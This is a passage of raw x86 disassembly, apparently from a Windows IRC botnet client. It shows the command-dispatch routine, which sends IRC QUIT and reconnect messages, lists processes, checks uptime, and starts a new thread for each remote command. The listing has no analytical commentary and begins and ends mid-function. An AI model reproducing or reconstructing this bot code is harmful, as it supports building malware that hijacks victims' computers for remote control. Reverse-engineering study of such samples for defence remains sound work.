jmp short loc_4037A3
; ---------------------------------------------------------------------------
loc_4037B5: ; CODE XREF: sub_401CC1+1AE0j
call dword_4F1348 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2C0]
push offset unk_442910
push eax
call sub_41B740
add esp, 0Ch
loc_4037D0: ; CODE XREF: sub_401CC1+1AE8j
cmp edi, ebx
jnz short loc_4037EE
push ebx
lea eax, [ebp+var_2C0]
push esi
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_408EB9
add esp, 14h
loc_4037EE: ; CODE XREF: sub_401CC1+1B11j
lea eax, [ebp+var_2C0]
push eax
call sub_41458A
pop ecx
loc_4037FB: ; CODE XREF: sub_401CC1+18C7j
add [ebp+arg_18], 0Bh
mov eax, [ebp+arg_18]
cmp [eax], bl
jnz loc_40353E
jmp loc_40207C
; ---------------------------------------------------------------------------
loc_40380F: ; CODE XREF: sub_401CC1+1943j
push offset unk_442858
jmp loc_4068C0
; ---------------------------------------------------------------------------
loc_403819: ; CODE XREF: sub_401CC1+17E6j
; sub_401CC1+17FBj
push 5
call sub_40AA45
test eax, eax
pop ecx
jle short loc_40382F
push offset unk_442778
jmp loc_4068C0
; ---------------------------------------------------------------------------
loc_40382F: ; CODE XREF: sub_401CC1+1B62j
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
jz short loc_403852
push eax
mov edi, 104h
lea eax, [ebp+var_2550]
push edi
push eax
call sub_41B910
add esp, 0Ch
jmp short loc_403866
; ---------------------------------------------------------------------------
loc_403852: ; CODE XREF: sub_401CC1+1B77j
mov edi, 104h
lea eax, [ebp+var_2550]
push edi
push eax
push ebx
call dword_4F132C ; GetModuleFileNameA
loc_403866: ; CODE XREF: sub_401CC1+1B8Fj
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jnz short loc_403876
mov esi, offset byte_43A0E8
loc_403876: ; CODE XREF: sub_401CC1+1BAEj
push esi
lea eax, [ebp+var_244C]
push edi
push eax
call sub_41B910
mov eax, dword_43A078
push 7Fh
push [ebp+var_88]
mov [ebp+var_2340], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2344], ebx
mov [ebp+var_2554], eax
lea eax, [ebp+var_233C]
push eax
call sub_41B1F0
mov eax, [ebp+var_4]
mov [ebp+var_22BC], eax
mov eax, [ebp+var_8]
mov [ebp+var_22B8], eax
lea eax, [ebp+var_2550]
push eax
lea eax, [ebp+var_2C0]
push [ebp+var_2340]
push offset unk_442798
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_2C0]
push 5
push eax
call sub_40A7FD
add esp, 34h
mov [ebp+var_2348], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2554]
push ebx
push eax
push offset sub_4112A8
push ebx
push ebx
call dword_4F1338 ; CreateThread
mov ecx, [ebp+var_2348]
imul ecx, 234h
cmp eax, ebx
mov dword_4537DC[ecx], eax
jz short loc_40393F
loc_403929: ; CODE XREF: sub_401CC1+1C7Cj
cmp [ebp+var_22B4], ebx
jnz loc_407C2F
push 32h
call dword_4F1334 ; Sleep
jmp short loc_403929
; ---------------------------------------------------------------------------
loc_40393F: ; CODE XREF: sub_401CC1+1C66j
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset unk_4427CC
jmp loc_4068A7
; ---------------------------------------------------------------------------
loc_403950: ; CODE XREF: sub_401CC1+17BCj
; sub_401CC1+17D1j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_40396F
push edi
call sub_41B3F0
test eax, eax
pop ecx
jz short loc_40396F
push edi
call sub_41B3F0
pop ecx
jmp short loc_403974
; ---------------------------------------------------------------------------
loc_40396F: ; CODE XREF: sub_401CC1+1C98j
; sub_401CC1+1CA3j
mov eax, dword_43A07C
loc_403974: ; CODE XREF: sub_401CC1+1CACj
mov esi, [ebp+esi+var_88]
mov [ebp+var_2DC4], eax
xor eax, eax
cmp [ebp+var_8FC], bl
setz al
cmp esi, ebx
mov [ebp+var_2DB0], eax
jz short loc_4039A7
lea eax, [ebp+var_2EC8]
push esi
push eax
call sub_41B740
pop ecx
pop ecx
jmp short loc_4039D2
; ---------------------------------------------------------------------------
loc_4039A7: ; CODE XREF: sub_401CC1+1CD3j
lea eax, [ebp+var_4050]
push 104h
push eax
call dword_4F1330 ; GetSystemDirectoryA
push ebx
push ebx
lea eax, [ebp+var_4C8]
push ebx
push eax
lea eax, [ebp+var_4050]
push eax
call sub_41BA10
add esp, 14h
loc_4039D2: ; CODE XREF: sub_401CC1+1CE4j
lea eax, [ebp+var_2EC8]
push eax
call sub_418D00
cmp [ebp+eax+var_2EC9], 5Ch
pop ecx
jnz short loc_4039FD
lea eax, [ebp+var_2EC8]
push eax
call sub_418D00
pop ecx
mov [ebp+eax+var_2EC9], bl
loc_4039FD: ; CODE XREF: sub_401CC1+1D26j
push [ebp+var_88]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_3150]
mov [ebp+var_3154], esi
push 80h
push eax
call sub_41B910
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_2DB4], eax
lea eax, [ebp+var_2EC8]
mov [ebp+var_2DB8], edi
push eax
push [ebp+var_2DC4]
push esi
call sub_40A019
pop ecx
push eax
lea eax, [ebp+var_2C0]
push offset unk_4426EC
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_2C0]
push 3
push eax
call sub_40A7FD
add esp, 20h
mov [ebp+var_2DBC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3154]
push ebx
push eax
push offset sub_40EBF0
push ebx
push ebx
call dword_4F1338 ; CreateThread
mov ecx, [ebp+var_2DBC]
imul ecx, 234h
cmp eax, ebx
mov dword_4537DC[ecx], eax
jz short loc_403AB1
loc_403A9F: ; CODE XREF: sub_401CC1+1DEEj
cmp [ebp+var_2DA8], ebx
jnz short loc_403ACC
push 32h
call dword_4F1334 ; Sleep
jmp short loc_403A9F
; ---------------------------------------------------------------------------
loc_403AB1: ; CODE XREF: sub_401CC1+1DDCj
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset unk_442728
loc_403ABD: ; CODE XREF: sub_401CC1+1F4Ej
; sub_401CC1+44C5j ...
lea eax, [ebp+var_2C0]
push eax
call sub_41B740
add esp, 0Ch
loc_403ACC: ; CODE XREF: sub_401CC1+1DE4j
; sub_401CC1+1F32j ...
cmp [ebp+var_8], ebx
jnz loc_407C50
push ebx
push edi
jmp loc_406C3B
; ---------------------------------------------------------------------------
loc_403ADC: ; CODE XREF: sub_401CC1+1792j
; sub_401CC1+17A7j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_403AFB
push edi
call sub_41B3F0
test eax, eax
pop ecx
jz short loc_403AFB
push edi
call sub_41B3F0
pop ecx
jmp short loc_403B00
; ---------------------------------------------------------------------------
loc_403AFB: ; CODE XREF: sub_401CC1+1E24j
; sub_401CC1+1E2Fj
mov eax, dword_43A080
loc_403B00: ; CODE XREF: sub_401CC1+1E38j
mov [ebp+var_15D0], eax
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jnz short loc_403B17
lea eax, [ebp+var_C0]
loc_403B17: ; CODE XREF: sub_401CC1+1E4Ej
push eax
lea eax, [ebp+var_1710]
push 40h
push eax
call sub_41B910
mov esi, [ebp+esi+var_84]
add esp, 0Ch
cmp esi, ebx
jnz short loc_403B39
mov esi, offset dword_4E0760
loc_403B39: ; CODE XREF: sub_401CC1+1E71j
push esi
lea eax, [ebp+var_16D0]
push 100h
push eax
call sub_41B910
push [ebp+var_88]
lea eax, [ebp+var_1790]
push 80h
push eax
call sub_41B910
mov eax, [ebp+var_8]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
add esp, 18h
mov [ebp+var_15BC], eax
lea eax, [ebp+var_1710]
push eax
mov [ebp+var_1794], esi
push [ebp+var_15D0]
mov [ebp+var_15C0], edi
push esi
call sub_40A019
pop ecx
push eax
lea eax, [ebp+var_2C0]
push offset unk_442660
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_2C0]
push 9
push eax
call sub_40A7FD
add esp, 20h
mov [ebp+var_15CC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1794]
push ebx
push eax
push offset sub_41055F
push ebx
push ebx
call dword_4F1338 ; CreateThread
mov ecx, [ebp+var_15CC]
imul ecx, 234h
cmp eax, ebx
mov dword_4537DC[ecx], eax
jz short loc_403C03
loc_403BED: ; CODE XREF: sub_401CC1+1F40j
cmp [ebp+var_15B8], ebx
jnz loc_403ACC
push 32h
call dword_4F1334 ; Sleep
jmp short loc_403BED
; ---------------------------------------------------------------------------
loc_403C03: ; CODE XREF: sub_401CC1+1F2Aj
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset unk_44269C
jmp loc_403ABD
; ---------------------------------------------------------------------------
loc_403C14: ; CODE XREF: sub_401CC1+1768j
; sub_401CC1+177Dj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_403C27
push esi
call sub_41B3F0
jmp short loc_403C2E
; ---------------------------------------------------------------------------
loc_403C27: ; CODE XREF: sub_401CC1+1F5Cj
push 0Bh
call sub_40AA64
loc_403C2E: ; CODE XREF: sub_401CC1+1F64j
cmp eax, ebx
pop ecx
jz loc_408CA1
push eax
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B155
jmp loc_4040E7
; ---------------------------------------------------------------------------
loc_403C4E: ; CODE XREF: sub_401CC1+173Ej
; sub_401CC1+1753j
mov eax, dword_4E07CC
cmp eax, ebx
jz short loc_403C6B
call eax
test eax, eax
jz short loc_403C64
push offset unk_4425BC
jmp short loc_403C87
; ---------------------------------------------------------------------------
loc_403C64: ; CODE XREF: sub_401CC1+1F9Aj
push offset unk_4425E0
jmp short loc_403C87
; ---------------------------------------------------------------------------
loc_403C6B: ; CODE XREF: sub_401CC1+1F94j
push offset unk_44260C
jmp short loc_403C87
; ---------------------------------------------------------------------------
loc_403C72: ; CODE XREF: sub_401CC1+1714j
; sub_401CC1+1729j
call sub_409F35
test eax, eax
jz short loc_403C82
push offset unk_442558
jmp short loc_403C87
; ---------------------------------------------------------------------------
loc_403C82: ; CODE XREF: sub_401CC1+1FB8j
push offset unk_44257C
loc_403C87: ; CODE XREF: sub_401CC1+1FA1j
; sub_401CC1+1FA8j ...
lea eax, [ebp+var_2C0]
push 200h
push eax
call sub_41B910
jmp loc_406690
; ---------------------------------------------------------------------------
loc_403C9D: ; CODE XREF: sub_401CC1+16EAj
; sub_401CC1+16FFj
cmp [ebp+var_8], ebx
jnz short loc_403CBC
push ebx
push [ebp+var_4]
push offset dword_442510
push [ebp+var_88]
push [ebp+arg_4]
call sub_408EB9
add esp, 14h
loc_403CBC: ; CODE XREF: sub_401CC1+1FDFj
push ebx
push [ebp+var_4]
call sub_415F56
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_408EB9
push offset dword_442528
jmp loc_403FB6
; ---------------------------------------------------------------------------
loc_403CDE: ; CODE XREF: sub_401CC1+1581j
; sub_401CC1+1596j
push 0Ah
call sub_40AA45
test eax, eax
pop ecx
jle short loc_403CF4
push offset unk_442420
jmp loc_408A79
; ---------------------------------------------------------------------------
loc_403CF4: ; CODE XREF: sub_401CC1+2027j
push [ebp+var_88]
push [ebp+arg_4]
call sub_417B99
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_403D13
push offset unk_44244C
jmp loc_408A79
; ---------------------------------------------------------------------------
loc_403D13: ; CODE XREF: sub_401CC1+2046j
push offset unk_442474
jmp loc_408A79
; ---------------------------------------------------------------------------
loc_403D1D: ; CODE XREF: sub_401CC1+1557j
; sub_401CC1+156Cj
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_409B6C
jmp loc_402079
; ---------------------------------------------------------------------------
loc_403D36: ; CODE XREF: sub_401CC1+152Dj
; sub_401CC1+1542j
push [ebp+esi+var_8C]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41524C
jmp loc_402079
; ---------------------------------------------------------------------------
loc_403D53: ; CODE XREF: sub_401CC1+1503j
; sub_401CC1+1518j
or edi, 0FFFFFFFFh
call dword_4F1364 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
mov [ebp+arg_0], eax
jz short loc_403D7C
push esi
call sub_41B3F0
pop ecx
mov edi, eax
loc_403D7C: ; CODE XREF: sub_401CC1+20B0j
mov eax, [ebp+arg_0]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_403D95
cmp edi, 0FFFFFFFFh
jnz loc_408CA1
loc_403D95: ; CODE XREF: sub_401CC1+20C9j
push ebx
call sub_4187BE
push eax
lea eax, [ebp+var_2C0]
push offset dword_4423D8
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_408EB9
lea eax, [ebp+var_2C0]
push eax
call sub_41458A
loc_403DD2: ; CODE XREF: sub_401CC1+5678j
add esp, 28h
jmp loc_408CA1
; ---------------------------------------------------------------------------
loc_403DDA: ; CODE XREF: sub_401CC1+14D9j
; sub_401CC1+14EEj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_414869
lea eax, [ebp+var_2C0]
push offset dword_4423AC
push eax
call sub_41B740
jmp loc_407C0B
; ---------------------------------------------------------------------------
loc_403E01: ; CODE XREF: sub_401CC1+14AFj
; sub_401CC1+14C4j
push 27h
call sub_40AA45
test eax, eax
pop ecx
jle short loc_403E35
cmp [ebp+var_8], ebx
jnz loc_40207C
push ebx
push [ebp+var_4]
push offset unk_44231C
push [ebp+var_88]
push [ebp+arg_4]
call sub_408EB9
loc_403E2D: ; CODE XREF: sub_401CC1+68AEj
add esp, 14h
jmp loc_40207C
; ---------------------------------------------------------------------------
loc_403E35: ; CODE XREF: sub_401CC1+214Aj
push [ebp+var_88]
lea eax, [ebp+var_A94]
push 80h
push eax
call sub_41B910
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_A98], eax
mov eax, [ebp+var_4]
mov [ebp+var_A0C], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_A08], eax
mov [ebp+var_A10], ebx
jz short loc_403E96
push esi
push offset aFull ; "full"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_403E96
mov [ebp+var_A10], 1
loc_403E96: ; CODE XREF: sub_401CC1+21B8j
; sub_401CC1+21C9j
lea eax, [ebp+var_2C0]
push offset dword_442344
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_2C0]
push 27h
push eax
call sub_40A7FD
add esp, 14h
mov [ebp+var_A14], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A98]
push ebx
push eax
push offset sub_417820
push ebx
push ebx
call dword_4F1338 ; CreateThread
mov ecx, [ebp+var_A14]
imul ecx, 234h
cmp eax, ebx
mov dword_4537DC[ecx], eax
jz short loc_403F04
loc_403EEE: ; CODE XREF: sub_401CC1+2241j
cmp [ebp+var_A04], ebx
jnz loc_408AA8
push 32h
call dword_4F1334 ; Sleep
jmp short loc_403EEE
; ---------------------------------------------------------------------------
loc_403F04: ; CODE XREF: sub_401CC1+222Bj
call dword_4F1348 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2C0]
push offset unk_442360
push eax
call sub_41B740
add esp, 0Ch
jmp loc_408AA8
; ---------------------------------------------------------------------------
loc_403F24: ; CODE XREF: sub_401CC1+1485j
; sub_401CC1+149Aj
cmp [ebp+var_8], ebx
jnz short loc_403F43
push ebx
push [ebp+var_4]
push offset dword_4422F4
push [ebp+var_88]
push [ebp+arg_4]
call sub_408EB9
add esp, 14h
loc_403F43: ; CODE XREF: sub_401CC1+2266j
push [ebp+arg_4]
call dword_4E0934
call dword_4E0804
call sub_41615A
push ebx
call dword_4F1320 ; ExitProcess
loc_403F5E: ; CODE XREF: sub_401CC1+145Bj
; sub_401CC1+1470j
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push [ebp+arg_4]
push eax
call sub_41897B
pop ecx
pop ecx
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_408EB9
push offset dword_4422C4
jmp short loc_403FB6
; ---------------------------------------------------------------------------
loc_403F89: ; CODE XREF: sub_401CC1+1431j
; sub_401CC1+1446j
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_418C2F
add esp, 0Ch
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_408EB9
push offset dword_44229C
loc_403FB6: ; CODE XREF: sub_401CC1+2018j
; sub_401CC1+22C6j
call sub_41458A
loc_403FBB: ; CODE XREF: sub_401CC1+6602j
add esp, 18h
jmp loc_408CA1
; ---------------------------------------------------------------------------
loc_403FC3: ; CODE XREF: sub_401CC1+1407j
; sub_401CC1+141Cj
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4146C7
jmp loc_402079
; ---------------------------------------------------------------------------
loc_403FDC: ; CODE XREF: sub_401CC1+13DDj
; sub_401CC1+13F2j
cmp [ebp+var_C], ebx
mov [ebp+var_1340], bl
jz short loc_40401B
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_40401B
push esi
push [ebp+var_C]
call sub_41B890
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40401B
push eax
push offset aS_0 ; "%s"
lea eax, [ebp+var_1340]
push 80h
push eax
call sub_41B910
add esp, 10h
loc_40401B: ; CODE XREF: sub_401CC1+2324j
; sub_401CC1+232Fj ...
push [ebp+var_88]
lea eax, [ebp+var_13C0]
push 80h
push eax
call sub_41B910
mov eax, [ebp+arg_4]
push offset dword_442230
mov [ebp+var_13C4], eax
mov eax, [ebp+var_4]
mov [ebp+var_12BC], eax
mov eax, [ebp+var_8]
mov [ebp+var_12B8], eax
lea eax, [ebp+var_2C0]
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_2C0]
push 25h
push eax
call sub_40A7FD
add esp, 20h
mov [ebp+var_12C0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_13C4]
push ebx
push eax
push offset sub_41473A
push ebx
push ebx
call dword_4F1338 ; CreateThread
mov ecx, [ebp+var_12C0]
imul ecx, 234h
cmp eax, ebx
mov dword_4537DC[ecx], eax
jz short loc_4040BB
loc_4040A5: ; CODE XREF: sub_401CC1+23F8j
cmp [ebp+var_12B4], ebx
jnz loc_40207C
push 32h
call dword_4F1334 ; Sleep
jmp short loc_4040A5
; ---------------------------------------------------------------------------
loc_4040BB: ; CODE XREF: sub_401CC1+23E2j
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset unk_442248
jmp loc_402260
; ---------------------------------------------------------------------------
loc_4040CC: ; CODE XREF: sub_401CC1+13B3j
; sub_401CC1+13C8j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_414512
push offset dword_442208
call sub_41458A
loc_4040E7: ; CODE XREF: sub_401CC1+1F88j
add esp, 10h
jmp loc_408CA1
; ---------------------------------------------------------------------------
loc_4040EF: ; CODE XREF: sub_401CC1+1389j
; sub_401CC1+139Ej
push [ebp+var_88]
lea eax, [ebp+var_B2C]
push 80h
push eax
call sub_41B910
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_B30], eax
mov eax, [ebp+var_4]
mov [ebp+var_AA4], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_AA0], eax
jz short loc_404149
push offset aSub ; "sub"
push esi
call sub_41C4C0
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp+var_AA8], eax
jmp short loc_40414F
; ---------------------------------------------------------------------------
loc_404149: ; CODE XREF: sub_401CC1+246Cj
mov [ebp+var_AA8], ebx
loc_40414F: ; CODE XREF: sub_401CC1+2486j
lea eax, [ebp+var_2C0]
push offset dword_4421A0
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_2C0]
push 28h
push eax
call sub_40A7FD
add esp, 14h
mov [ebp+var_AAC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_B30]
push ebx
push eax
push offset sub_40A868
push ebx
push ebx
call dword_4F1338 ; CreateThread
mov ecx, [ebp+var_AAC]
imul ecx, 234h
cmp eax, ebx
mov dword_4537DC[ecx], eax
jz short loc_4041BD
loc_4041A7: ; CODE XREF: sub_401CC1+24FAj
cmp [ebp+var_A9C], ebx
jnz loc_4066B4
push 32h
call dword_4F1334 ; Sleep
jmp short loc_4041A7
; ---------------------------------------------------------------------------
loc_4041BD: ; CODE XREF: sub_401CC1+24E4j
call dword_4F1348 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2C0]
push offset unk_4421C0
push eax
call sub_41B740
add esp, 0Ch
jmp loc_4066B4
; ---------------------------------------------------------------------------
loc_4041DD: ; CODE XREF: sub_401CC1+130Dj
; sub_401CC1+1322j
push offset aK333yx ; "k333yx"
lea eax, [ebp+var_2C0]
push offset dword_442128
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_408EB9
add esp, 20h
jmp loc_4066B4
; ---------------------------------------------------------------------------
loc_404214: ; CODE XREF: sub_401CC1+12E3j
; sub_401CC1+12F8j
push dword_4E05CC
call sub_4187BE
push eax
lea eax, [ebp+var_2C0]
push offset unk_4420F4
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_408EB9
add esp, 24h
jmp loc_4066B4
; ---------------------------------------------------------------------------
loc_404252: ; CODE XREF: sub_401CC1+12B9j
; sub_401CC1+12CEj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_404284
cmp [ebp+var_C], ebx
jz short loc_404293
push esi
push [ebp+var_C]
call sub_41B890
pop ecx
cmp eax, ebx
pop ecx
jz short loc_404293
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push [ebp+arg_4]
call sub_408E73
add esp, 0Ch
jmp short loc_404293
; ---------------------------------------------------------------------------
loc_404284: ; CODE XREF: sub_401CC1+259Aj
push offset aQuitLater ; "QUIT :later\r\n"
push [ebp+arg_4]
call sub_408E73
pop ecx
pop ecx
loc_404293: ; CODE XREF: sub_401CC1+259Fj
; sub_401CC1+25AEj ...
push 0FFFFFFFEh
jmp loc_40207E
; ---------------------------------------------------------------------------
loc_40429A: ; CODE XREF: sub_401CC1+128Fj
; sub_401CC1+12A4j
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push [ebp+arg_4]
call sub_408E73
push offset dword_4420A4
call sub_41458A
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_40207F
; ---------------------------------------------------------------------------
loc_4042BC: ; CODE XREF: sub_401CC1+1265j
; sub_401CC1+127Aj
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_408E73
push offset dword_442060
call sub_41458A
add esp, 0Ch
jmp loc_408C11
; ---------------------------------------------------------------------------
loc_4042DB: ; CODE XREF: sub_401CC1+123Bj
; sub_401CC1+1250j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40AEDE
jmp loc_404584
; ---------------------------------------------------------------------------
loc_4042F1: ; CODE XREF: sub_401CC1+1211j
; sub_401CC1+1226j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40AE8A
jmp loc_404584
; ---------------------------------------------------------------------------
loc_404307: ; CODE XREF: sub_401CC1+11E7j
; sub_401CC1+11FCj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40AE1F
jmp loc_404584
; ---------------------------------------------------------------------------
loc_40431D: ; CODE XREF: sub_401CC1+11BDj
; sub_401CC1+11D2j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40AD51
jmp loc_404584
; ---------------------------------------------------------------------------
loc_404333: ; CODE XREF: sub_401CC1+1118j
; sub_401CC1+112Dj
push [ebp+esi+var_8C]
push 27h
push offset aProcessList ; "Process list"
push offset dword_441F64
jmp loc_4029E5
; ---------------------------------------------------------------------------
loc_40434B: ; CODE XREF: sub_401CC1+D4Fj
; sub_401CC1+D64j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_40436A
push edi
call sub_41B3F0
test eax, eax
pop ecx
jz short loc_40436A
push edi
call sub_41B3F0
pop ecx
jmp short loc_40436F
; ---------------------------------------------------------------------------
loc_40436A: ; CODE XREF: sub_401CC1+2693j
; sub_401CC1+269Ej
mov eax, dword_43A074
loc_40436F: ; CODE XREF: sub_401CC1+26A7j
mov esi, [ebp+esi+var_88]
mov [ebp+var_590], eax
cmp esi, ebx
jz short loc_404394
push esi
loc_404381: ; CODE XREF: sub_401CC1+26E2j
lea eax, [ebp+var_5A0]
push 10h
push eax
call sub_41B910
add esp, 0Ch
jmp short loc_4043AB
; ---------------------------------------------------------------------------
loc_404394: ; CODE XREF: sub_401CC1+26BDj
cmp [ebp+var_8FF], bl
jz short loc_4043A5
lea eax, [ebp+var_C0]
push eax
jmp short loc_404381
; ---------------------------------------------------------------------------
loc_4043A5: ; CODE XREF: sub_401CC1+26D9j
mov [ebp+var_5A0], bl
loc_4043AB: ; CODE XREF: sub_401CC1+26D1j
mov eax, [ebp+var_4]
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov [ebp+var_584], eax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_580], eax
lea eax, [ebp+var_620]
push eax
mov [ebp+var_624], esi
call sub_41B910
add esp, 0Ch
push [ebp+var_590]
push esi
call sub_40A019
pop ecx
push eax
lea eax, [ebp+var_2C0]
push offset dword_441B68
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_2C0]
push 19h
push eax
call sub_40A7FD
add esp, 1Ch
mov [ebp+var_58C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_624]
push ebx
push eax
push offset sub_410CDF
push ebx
push ebx
call dword_4F1338 ; CreateThread
mov ecx, [ebp+var_58C]
imul ecx, 234h
cmp eax, ebx
mov dword_4537DC[ecx], eax
jz short loc_40445C
loc_404446: ; CODE XREF: sub_401CC1+2799j
cmp [ebp+var_57C], ebx
jnz loc_40207C
push 32h
call dword_4F1334 ; Sleep
jmp short loc_404446
; ---------------------------------------------------------------------------
loc_40445C: ; CODE XREF: sub_401CC1+2783j
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset dword_441B90
jmp loc_402260
; ---------------------------------------------------------------------------
loc_40446D: ; CODE XREF: sub_401CC1+CE5j
; sub_401CC1+CFAj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_40448D
push esi
call sub_41B3F0
test ax, ax
pop ecx
jz short loc_40448D
push esi
call sub_41B3F0
pop ecx
jmp short loc_404493
; ---------------------------------------------------------------------------
loc_40448D: ; CODE XREF: sub_401CC1+27B5j
; sub_401CC1+27C1j
mov ax, word_43A084
loc_404493: ; CODE XREF: sub_401CC1+27CAj
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
mov [ebp+var_97C], ax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_96C], eax
lea eax, [ebp+var_9FC]
push eax
mov [ebp+var_A00], esi
mov [ebp+var_970], edi
call sub_41B910
movzx eax, [ebp+var_97C]
add esp, 0Ch
push eax
push esi
call sub_40A019
pop ecx
push eax
lea eax, [ebp+var_2C0]
push offset unk_441AC4
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_2C0]
push edi
push eax
push [ebp+var_88]
push esi
call sub_408EB9
push ebx
lea eax, [ebp+var_2C0]
push 6
push eax
call sub_40A7FD
add esp, 30h
mov [ebp+var_978], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A00]
push ebx
push eax
push offset sub_40E017
push ebx
push ebx
call dword_4F1338 ; CreateThread
mov ecx, [ebp+var_978]
imul ecx, 234h
cmp eax, ebx
mov dword_4537DC[ecx], eax
jz short loc_404562
loc_40454C: ; CODE XREF: sub_401CC1+289Fj
cmp [ebp+var_968], ebx
jnz loc_40207C
push 32h
call dword_4F1334 ; Sleep
jmp short loc_40454C
; ---------------------------------------------------------------------------
loc_404562: ; CODE XREF: sub_401CC1+2889j
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset unk_441AF0
jmp loc_402260
; ---------------------------------------------------------------------------
loc_404573: ; CODE XREF: sub_401CC1+CBBj
; sub_401CC1+CD0j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4185E1
loc_404584: ; CODE XREF: sub_401CC1+262Bj
; sub_401CC1+2641j ...
add esp, 0Ch
jmp loc_408CA1
; ---------------------------------------------------------------------------
loc_40458C: ; CODE XREF: sub_401CC1+C91j
; sub_401CC1+CA6j
push offset unk_4419F4
jmp loc_407E61
; ---------------------------------------------------------------------------
loc_404596: ; CODE XREF: sub_401CC1+C67j
; sub_401CC1+C7Cj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4045F6
push esi
call sub_41B3F0
cmp eax, ebx
pop ecx
jl short loc_4045EB
cmp eax, 3
jge short loc_4045EB
mov edx, [ebp+arg_18]
mov ecx, eax
shl ecx, 7
cmp [ecx+edx], bl
lea esi, [ecx+edx]
jz short loc_4045E0
lea eax, [esi+1]
push eax
lea eax, [ebp+var_2C0]
push offset unk_44194C
push eax
call sub_41B740
add esp, 0Ch
mov [esi], bl
jmp loc_407C2F
; ---------------------------------------------------------------------------
